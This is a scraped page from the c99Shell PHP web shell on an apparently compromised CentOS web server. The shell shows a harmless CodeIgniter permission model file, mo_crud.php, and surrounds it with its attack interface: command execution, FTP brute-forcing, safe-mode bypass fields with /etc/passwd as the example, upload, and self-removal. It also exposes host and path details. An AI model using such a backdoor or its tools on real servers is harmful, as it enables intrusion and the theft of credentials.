!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/stdalumni/application/models/ums/   drwxr-xr-x
Free 50.83 GB of 127.8 GB (39.77%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     mo_crud.php (3.46 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
class Mo_crud extends CI_Model {
    function 
__construct() {
        
parent::__construct();
    }

    function 
setCRUD($UsID,$gpid,$mnid) {
        
$CI =& get_instance();
        
$CI->load->model($CI->config->item("ums_folder").'m_umpermission','');
        
$CI->load->model($CI->config->item("ums_folder").'m_umgpermission','');

        
$X 1;
        
$C 1;
        
$R 1;
        
$U 1;
        
$D 1;
        
$oUp $CI->m_umpermission->SearchByKey($UsID$mnid);

        if (
$oUp) {
            
$X $oUp['pmX'];
            
$C $oUp['pmC'];
            
$R $oUp['pmR'];
            
$U $oUp['pmU'];
            
$D $oUp['pmD'];
        } else {
            
$oGp $CI->m_umgpermission->SearchByKey($gpid$mnid);
            if (
$oGp) {
                
$X $oGp['gpX'];
                
$C $oGp['gpC'];
                
$R $oGp['gpR'];
                
$U $oGp['gpU'];
                
$D $oGp['gpD'];
            }
        }

        return array(
'X' => $X'C' => $C'R' => $R'U' => $U'D' => $D);

    }

    function 
CRUD ($link$linktype) {
        
$UsID $this->session->userdata('UsID');
        
$gpid $this->session->userdata('GpID');
        
$mnid $this->session->userdata('MnID');

        
$crud $this->setCRUD($UsID$gpid$mnid);

        
$linktype strtolower($linktype);
        if (
strpos("crud"$linktype) === false) die("ชนิดของ Link ต้องเป็น CRUD เท่านั้น");

        
$flg false;

        if ((
$linktype == "c") and ($crud['C'] == 0))
             
$flg true;
        else if ((
$linktype == "r") and ($crud['R']  == 0)) 
            
$flg true;
        else if ((
$linktype == "u") and ($crud['U']  == 0))
            
$flg true;
        else if ((
$linktype == "d") and ($crud['D']  == 0)) 
            
$flg true;
        
        if (
$flg == false) {
            return  
$link;
        } else {
            
$link trim($link);
            
$s strtolower($link);
            
//----------------------------------------------------------------
            //find image name
            //            $input="images/del.gif";
            //            $output = "images/delgrey.gif";        // use explode fn
            //            $this->createGreyFromGifJpg($input, $output);
            //---------------------------------------------------------------
            //rename imagename.gif to imagenamegrey.gif
            
$pGif strpos($s".gif");
            if (
$pGif === false) {
            } else {
                
$ss substr_replace($link"grey"$pGif).substr($link$pGif);
                
$link $ss;
                
$s strtolower($link);
            }
            
//rename imagename.jpg to imagenamegrey.jpg
            
$pJpg strpos($s".jp");
            if (
$pJpg === false) {
            } else {
                
$ss substr_replace($link"grey"$pJpg).substr($link$pJpg);
                
$link $ss;
                
$s strtolower($link);
            }
            
//add disabled to input tag
            
$pos strpos($s"input");
            if (
$pos === false) {
            } else {
                
$ss substr_replace($link"input disabled"$pos).substr($link$pos+5);
                
$link $ss;
                
$s strtolower($link);
            }
            
//change onclick-->onklick
            
$pOnClick strpos($s"onclick");
            if (
$pOnClick === false) {
            } else {
                
$ss substr_replace($link"onklick"$pOnClick).substr($link$pOnClick+7);
                
$link $ss;
                
$s strtolower($link);
            }
            
////////////
            //disable tag A 
            
$pHref strpos($s"href");
            if (
$pHref === false) {
            } else {
                
$ss substr_replace($link"href1"$pHref).substr($link$pHref+4);
                
$link $ss;
                
$s strtolower($link);
            }
            
//disable text between tag A and not have tag img 
            
$pImg strpos($s"<img")===false;
            if (
$pImg === false) {
                if (
substr($s02) == "<a") {
                    
$p1 strpos($link">");
                    
$p2 strpos($link"</");
                    
$ss "<font color=#999999>".substr($link$p1+1$p2)."</font>";
                    
$link $ss;
                    
$s strtolower($link);
                }
            }
            return 
$link;
        }

    }


}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0177 ]--